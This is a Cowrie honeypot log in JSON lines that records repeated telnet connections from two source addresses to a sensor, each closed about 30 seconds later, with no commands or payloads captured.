{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":41166,"dst_ip":"10.17.0.5","dst_port":23,"session":"60f2316ceb78","protocol":"telnet","message":"New connection: 208.115.219.122:41166 (10.17.0.5:23) [session: 60f2316ceb78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:32.374013Z"}
{"eventid":"cowrie.session.closed","duration":30.9060480594635,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:32.444342Z","src_ip":"208.115.200.90","session":"630e33ab91f8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60868,"dst_ip":"10.17.0.5","dst_port":23,"session":"70fd0719c3b5","protocol":"telnet","message":"New connection: 208.115.200.90:60868 (10.17.0.5:23) [session: 70fd0719c3b5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:32.494790Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60950,"dst_ip":"10.17.0.5","dst_port":23,"session":"526e03fb9c87","protocol":"telnet","message":"New connection: 208.115.200.90:60950 (10.17.0.5:23) [session: 526e03fb9c87]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:32.560800Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":41464,"dst_ip":"10.17.0.5","dst_port":23,"session":"2effdc6f7687","protocol":"telnet","message":"New connection: 208.115.219.122:41464 (10.17.0.5:23) [session: 2effdc6f7687]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:32.789290Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":41494,"dst_ip":"10.17.0.5","dst_port":23,"session":"3dff6bf8be5c","protocol":"telnet","message":"New connection: 208.115.219.122:41494 (10.17.0.5:23) [session: 3dff6bf8be5c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:32.835147Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":41520,"dst_ip":"10.17.0.5","dst_port":23,"session":"e813132eb8f0","protocol":"telnet","message":"New connection: 208.115.219.122:41520 (10.17.0.5:23) [session: e813132eb8f0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:32.973894Z"}
{"eventid":"cowrie.session.closed","duration":30.46135640144348,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:33.012922Z","src_ip":"208.115.219.122","session":"47ac7258e035","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33236,"dst_ip":"10.17.0.5","dst_port":23,"session":"c3f133964be9","protocol":"telnet","message":"New connection: 208.115.200.90:33236 (10.17.0.5:23) [session: c3f133964be9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:33.023576Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33224,"dst_ip":"10.17.0.5","dst_port":23,"session":"abb693aec265","protocol":"telnet","message":"New connection: 208.115.200.90:33224 (10.17.0.5:23) [session: abb693aec265]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:33.030134Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33252,"dst_ip":"10.17.0.5","dst_port":23,"session":"17f5b86546be","protocol":"telnet","message":"New connection: 208.115.200.90:33252 (10.17.0.5:23) [session: 17f5b86546be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:33.033878Z"}
{"eventid":"cowrie.session.closed","duration":30.22287082672119,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:33.038000Z","src_ip":"208.115.219.122","session":"8a0b24843b19","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.69470453262329,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:33.050652Z","src_ip":"208.115.219.122","session":"365744cac775","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.095101356506348,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:33.056419Z","src_ip":"208.115.200.90","session":"bb6bf4eff799","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.839127779006958,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:33.075732Z","src_ip":"208.115.219.122","session":"112d3d8afe1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":41530,"dst_ip":"10.17.0.5","dst_port":23,"session":"1a1bdede5fbf","protocol":"telnet","message":"New connection: 208.115.219.122:41530 (10.17.0.5:23) [session: 1a1bdede5fbf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:33.089623Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33258,"dst_ip":"10.17.0.5","dst_port":23,"session":"f4a0d478ba56","protocol":"telnet","message":"New connection: 208.115.200.90:33258 (10.17.0.5:23) [session: f4a0d478ba56]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:33.126781Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33274,"dst_ip":"10.17.0.5","dst_port":23,"session":"cfe98b14c69e","protocol":"telnet","message":"New connection: 208.115.200.90:33274 (10.17.0.5:23) [session: cfe98b14c69e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:33.134059Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33288,"dst_ip":"10.17.0.5","dst_port":23,"session":"d730639ff2a1","protocol":"telnet","message":"New connection: 208.115.200.90:33288 (10.17.0.5:23) [session: d730639ff2a1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:33.220013Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":41586,"dst_ip":"10.17.0.5","dst_port":23,"session":"47e787c27af2","protocol":"telnet","message":"New connection: 208.115.219.122:41586 (10.17.0.5:23) [session: 47e787c27af2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:33.554389Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33468,"dst_ip":"10.17.0.5","dst_port":23,"session":"265b4e12435c","protocol":"telnet","message":"New connection: 208.115.200.90:33468 (10.17.0.5:23) [session: 265b4e12435c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:33.686307Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33504,"dst_ip":"10.17.0.5","dst_port":23,"session":"454d003904e5","protocol":"telnet","message":"New connection: 208.115.200.90:33504 (10.17.0.5:23) [session: 454d003904e5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:33.735351Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":41832,"dst_ip":"10.17.0.5","dst_port":23,"session":"881a0e5626f1","protocol":"telnet","message":"New connection: 208.115.219.122:41832 (10.17.0.5:23) [session: 881a0e5626f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:33.994128Z"}
{"eventid":"cowrie.session.closed","duration":30.494601726531982,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:34.034814Z","src_ip":"208.115.219.122","session":"01cc062e2d05","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":41846,"dst_ip":"10.17.0.5","dst_port":23,"session":"84dbe169098a","protocol":"telnet","message":"New connection: 208.115.219.122:41846 (10.17.0.5:23) [session: 84dbe169098a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:34.045967Z"}
{"eventid":"cowrie.session.closed","duration":30.07646083831787,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:34.052598Z","src_ip":"208.115.219.122","session":"1be078e24463","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":41860,"dst_ip":"10.17.0.5","dst_port":23,"session":"fb4d3817876b","protocol":"telnet","message":"New connection: 208.115.219.122:41860 (10.17.0.5:23) [session: fb4d3817876b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:34.065421Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33636,"dst_ip":"10.17.0.5","dst_port":23,"session":"5328b82de7eb","protocol":"telnet","message":"New connection: 208.115.200.90:33636 (10.17.0.5:23) [session: 5328b82de7eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:34.108421Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33648,"dst_ip":"10.17.0.5","dst_port":23,"session":"a1222009a0fe","protocol":"telnet","message":"New connection: 208.115.200.90:33648 (10.17.0.5:23) [session: a1222009a0fe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:34.121384Z"}
{"eventid":"cowrie.session.closed","duration":31.125520944595337,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:34.131399Z","src_ip":"208.115.219.122","session":"896b4b8ec94b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":41868,"dst_ip":"10.17.0.5","dst_port":23,"session":"e91bbf01ccad","protocol":"telnet","message":"New connection: 208.115.219.122:41868 (10.17.0.5:23) [session: e91bbf01ccad]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:34.136272Z"}
{"eventid":"cowrie.session.closed","duration":30.998631238937378,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:34.157852Z","src_ip":"208.115.219.122","session":"1f49d0c9131d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33660,"dst_ip":"10.17.0.5","dst_port":23,"session":"327691177d63","protocol":"telnet","message":"New connection: 208.115.200.90:33660 (10.17.0.5:23) [session: 327691177d63]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:34.215233Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":39970,"dst_ip":"10.17.0.5","dst_port":23,"session":"9edefcc49645","protocol":"telnet","message":"New connection: 208.115.200.90:39970 (10.17.0.5:23) [session: 9edefcc49645]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:34.337566Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40054,"dst_ip":"10.17.0.5","dst_port":23,"session":"041acf4c6538","protocol":"telnet","message":"New connection: 208.115.200.90:40054 (10.17.0.5:23) [session: 041acf4c6538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:34.532395Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40066,"dst_ip":"10.17.0.5","dst_port":23,"session":"b9a5bb35efb0","protocol":"telnet","message":"New connection: 208.115.200.90:40066 (10.17.0.5:23) [session: b9a5bb35efb0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:34.558686Z"}
{"eventid":"cowrie.session.closed","duration":30.854986667633057,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:34.583475Z","src_ip":"208.115.219.122","session":"2b6a3a74effb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.921384811401367,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:34.588684Z","src_ip":"208.115.219.122","session":"c604b2661016","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40074,"dst_ip":"10.17.0.5","dst_port":23,"session":"deca1341e88e","protocol":"telnet","message":"New connection: 208.115.200.90:40074 (10.17.0.5:23) [session: deca1341e88e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:34.592055Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":41960,"dst_ip":"10.17.0.5","dst_port":23,"session":"babc1d073be7","protocol":"telnet","message":"New connection: 208.115.219.122:41960 (10.17.0.5:23) [session: babc1d073be7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:34.641111Z"}
{"eventid":"cowrie.session.closed","duration":30.86455249786377,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:35.014116Z","src_ip":"208.115.219.122","session":"af24db8093f4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.39917016029358,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:35.024526Z","src_ip":"208.115.219.122","session":"b41d5e780693","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.93481421470642,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:35.046473Z","src_ip":"208.115.219.122","session":"6c41569ff527","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40250,"dst_ip":"10.17.0.5","dst_port":23,"session":"0d83e26c7d4c","protocol":"telnet","message":"New connection: 208.115.200.90:40250 (10.17.0.5:23) [session: 0d83e26c7d4c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:35.053952Z"}
{"eventid":"cowrie.session.closed","duration":30.87173581123352,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:35.068340Z","src_ip":"208.115.219.122","session":"52a003ae4096","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.634504795074463,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:35.154556Z","src_ip":"208.115.219.122","session":"99f2286a52bb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":34184,"dst_ip":"10.17.0.5","dst_port":23,"session":"c1d099080678","protocol":"telnet","message":"New connection: 208.115.219.122:34184 (10.17.0.5:23) [session: c1d099080678]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:35.190849Z"}
{"eventid":"cowrie.session.closed","duration":30.954009294509888,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:35.203119Z","src_ip":"208.115.219.122","session":"bcf9b1601e6e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":34190,"dst_ip":"10.17.0.5","dst_port":23,"session":"9498c7659668","protocol":"telnet","message":"New connection: 208.115.219.122:34190 (10.17.0.5:23) [session: 9498c7659668]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:35.289147Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40274,"dst_ip":"10.17.0.5","dst_port":23,"session":"1d6355f5008e","protocol":"telnet","message":"New connection: 208.115.200.90:40274 (10.17.0.5:23) [session: 1d6355f5008e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:35.293971Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40310,"dst_ip":"10.17.0.5","dst_port":23,"session":"81a8b4a64f42","protocol":"telnet","message":"New connection: 208.115.200.90:40310 (10.17.0.5:23) [session: 81a8b4a64f42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:35.405019Z"}
{"eventid":"cowrie.session.closed","duration":31.144211292266846,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:35.419973Z","src_ip":"208.115.200.90","session":"b9af6a2fe9c0","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40336,"dst_ip":"10.17.0.5","dst_port":23,"session":"e8037d56a4c7","protocol":"telnet","message":"New connection: 208.115.200.90:40336 (10.17.0.5:23) [session: e8037d56a4c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:35.486414Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40424,"dst_ip":"10.17.0.5","dst_port":23,"session":"92df35b5c061","protocol":"telnet","message":"New connection: 208.115.200.90:40424 (10.17.0.5:23) [session: 92df35b5c061]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:35.649362Z"}
{"eventid":"cowrie.session.closed","duration":31.18536067008972,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:35.733021Z","src_ip":"208.115.200.90","session":"86f4f2d4fe75","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40540,"dst_ip":"10.17.0.5","dst_port":23,"session":"920097989236","protocol":"telnet","message":"New connection: 208.115.200.90:40540 (10.17.0.5:23) [session: 920097989236]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:35.796081Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40544,"dst_ip":"10.17.0.5","dst_port":23,"session":"bc6b5348114a","protocol":"telnet","message":"New connection: 208.115.200.90:40544 (10.17.0.5:23) [session: bc6b5348114a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:35.824190Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40590,"dst_ip":"10.17.0.5","dst_port":23,"session":"ffe398d5e239","protocol":"telnet","message":"New connection: 208.115.200.90:40590 (10.17.0.5:23) [session: ffe398d5e239]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:35.984798Z"}
{"eventid":"cowrie.session.closed","duration":30.745993852615356,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:36.022156Z","src_ip":"208.115.219.122","session":"68cd5d1b0a4f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.804418087005615,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:36.032892Z","src_ip":"208.115.219.122","session":"34df660d4b56","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":34198,"dst_ip":"10.17.0.5","dst_port":23,"session":"05c222ac4606","protocol":"telnet","message":"New connection: 208.115.219.122:34198 (10.17.0.5:23) [session: 05c222ac4606]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:36.036438Z"}
{"eventid":"cowrie.session.closed","duration":30.263848304748535,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:36.040405Z","src_ip":"208.115.219.122","session":"9a0b4632a32c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":34214,"dst_ip":"10.17.0.5","dst_port":23,"session":"1e1d23258861","protocol":"telnet","message":"New connection: 208.115.219.122:34214 (10.17.0.5:23) [session: 1e1d23258861]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:36.106049Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40592,"dst_ip":"10.17.0.5","dst_port":23,"session":"d4e445119d19","protocol":"telnet","message":"New connection: 208.115.200.90:40592 (10.17.0.5:23) [session: d4e445119d19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:36.111339Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40602,"dst_ip":"10.17.0.5","dst_port":23,"session":"e523e903ff33","protocol":"telnet","message":"New connection: 208.115.200.90:40602 (10.17.0.5:23) [session: e523e903ff33]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:36.115180Z"}
{"eventid":"cowrie.session.closed","duration":30.572819709777832,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:36.199383Z","src_ip":"208.115.200.90","session":"129d4ef3764f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.1750226020813,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:36.218794Z","src_ip":"208.115.219.122","session":"ef0c04af55a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40616,"dst_ip":"10.17.0.5","dst_port":23,"session":"570928d813ca","protocol":"telnet","message":"New connection: 208.115.200.90:40616 (10.17.0.5:23) [session: 570928d813ca]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:36.258828Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40630,"dst_ip":"10.17.0.5","dst_port":23,"session":"1c1e3dbb9882","protocol":"telnet","message":"New connection: 208.115.200.90:40630 (10.17.0.5:23) [session: 1c1e3dbb9882]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:36.298188Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40632,"dst_ip":"10.17.0.5","dst_port":23,"session":"8d4c3f1863fd","protocol":"telnet","message":"New connection: 208.115.200.90:40632 (10.17.0.5:23) [session: 8d4c3f1863fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:36.340594Z"}
{"eventid":"cowrie.session.closed","duration":30.576151847839355,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:36.380649Z","src_ip":"208.115.219.122","session":"0c6fba74901b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":34218,"dst_ip":"10.17.0.5","dst_port":23,"session":"4f222a123e64","protocol":"telnet","message":"New connection: 208.115.219.122:34218 (10.17.0.5:23) [session: 4f222a123e64]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:36.467576Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40638,"dst_ip":"10.17.0.5","dst_port":23,"session":"fabe33b6f18b","protocol":"telnet","message":"New connection: 208.115.200.90:40638 (10.17.0.5:23) [session: fabe33b6f18b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:36.585732Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":34396,"dst_ip":"10.17.0.5","dst_port":23,"session":"43afb0932490","protocol":"telnet","message":"New connection: 208.115.219.122:34396 (10.17.0.5:23) [session: 43afb0932490]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:37.033182Z"}
{"eventid":"cowrie.session.closed","duration":31.000471830368042,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:37.040438Z","src_ip":"208.115.219.122","session":"3d9516a1c2de","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40660,"dst_ip":"10.17.0.5","dst_port":23,"session":"903c13cd16bb","protocol":"telnet","message":"New connection: 208.115.200.90:40660 (10.17.0.5:23) [session: 903c13cd16bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:37.068635Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":40648,"dst_ip":"10.17.0.5","dst_port":23,"session":"47eaacf72033","protocol":"telnet","message":"New connection: 208.115.200.90:40648 (10.17.0.5:23) [session: 47eaacf72033]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:37.074402Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":34412,"dst_ip":"10.17.0.5","dst_port":23,"session":"6ae8802acc32","protocol":"telnet","message":"New connection: 208.115.219.122:34412 (10.17.0.5:23) [session: 6ae8802acc32]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:37.083740Z"}
{"eventid":"cowrie.session.closed","duration":31.08015727996826,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:13:37.103333Z","src_ip":"208.115.219.122","session":"f083123ae1b9","protocol":"telnet"}
